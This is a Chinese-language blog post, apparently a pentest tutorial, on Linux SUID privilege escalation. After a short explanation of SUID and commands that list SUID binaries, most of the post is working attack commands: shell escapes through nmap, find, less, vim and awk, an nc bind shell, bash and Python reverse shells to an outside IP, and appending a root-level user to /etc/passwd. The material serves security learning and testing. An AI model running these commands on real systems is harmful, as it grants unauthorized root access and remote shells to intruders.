SUID提权

SUID提权

一、简介

SUID(Set User ID)是Linux和Unix系统中的一种特殊文件权限设置。当一个可执行文件被设置了SUID权限后,任何用户执行该文件时,都会临时以文件所有者的权限运行。这一特性常用于允许普通用户执行某些需要超级用户权限的操作,如修改密码。SUID在权限表示中以’s’符号出现,设置时需谨慎,因为一旦文件有安全漏洞,可能会被利用来获取更高权限。

SUID(Set User ID)是对二进制程序进行的一种特殊权限设置,可以让二进制程序的执行者临时拥有文件属主的权限,也正是因为这个特性,假设我们以非 root 用户身份访问目标系统,并且我们发现启用了 suid 位的二进制文件,那么这些文件/程序/命令可以以 root 权限运行

chmod u+s filename   设置SUID位
chmod u-s filename   去掉SUID设置

image-20240802121046286

image-20240802121050718

可以看到这里的1.txt有了'S'这个权限

二、具体方式

find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

find / -perm -u=s -type f 2>/dev/null
参数:
	/表示从文件系统的顶部(根)开始,查找每个目录
	-perm表示搜索后面的权限
	-u=s表示查找 root 用户拥有的文件
	-type表示我们正在寻找的文件类型
	f 表示普通文件,而不是目录或特殊文件
	2表示到进程的第二个文件描述符,即 stderr(标准错误)
	>表示重定向
	/dev/null是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。

这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null

nmap

这个版本:nmap2.02至5.21

早期namp版本,允许用户执行shell命令

nmap --interactive
nmap> !sh
sh-3.2# whoami
root

但是现在不行了,nmap版本已经很高了。

还可以使用的是msf里面的nmap提权

image-20240802173726496

find

find命令一般用来在系统中查找文件,同时也会具备执行命令的能力,只要有这个文件,我们就可以使用find执行命令来让我们的命令以root权限进行

image-20240802175354609

find 具有suid权限的filename -exec whoami \; -quit

find 具有suid权限的filename -exec /bin/sh -p \; -quit


touch 1.txt #创建1.txt
/usr/bin/find 1.txt -exec whoami \;

image-20240802183557921

广播shell

find user -exec nc -lvp 4444 -e '/bin/sh' \;
nc 靶机ip 4444

反弹shell

find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -lvvp 4444

less/more

less /etc/passwd

这里less查看的需要是文件内容比较多的,才能翻页,然后在最后输入

!/bin/sh

image-20240802183836499

cp/mv

利用cp命令覆盖/etc/passwd从而进行提权

openssl passwd -1 -salt test 密码
echo 'test:$1$test$giCVmzusADSPMon2mwEWo1:0:0::/root/:/bin/sh' >> passwd

vi/vim

vi命令和vim差不多,这里就用vim命令进行详解

首先是一种比较特殊的情况,就是vim被配置了suid权限,所以只有root才能有权限进行读写,这种时候就是

vim.tiny /etc/passwd
:!/bin/sh

awk

awk 'BEGIN {system("/bin/bash")}'
posted @ 2024-08-02 18:48  tammy66  阅读(80)  评论(0)    收藏  举报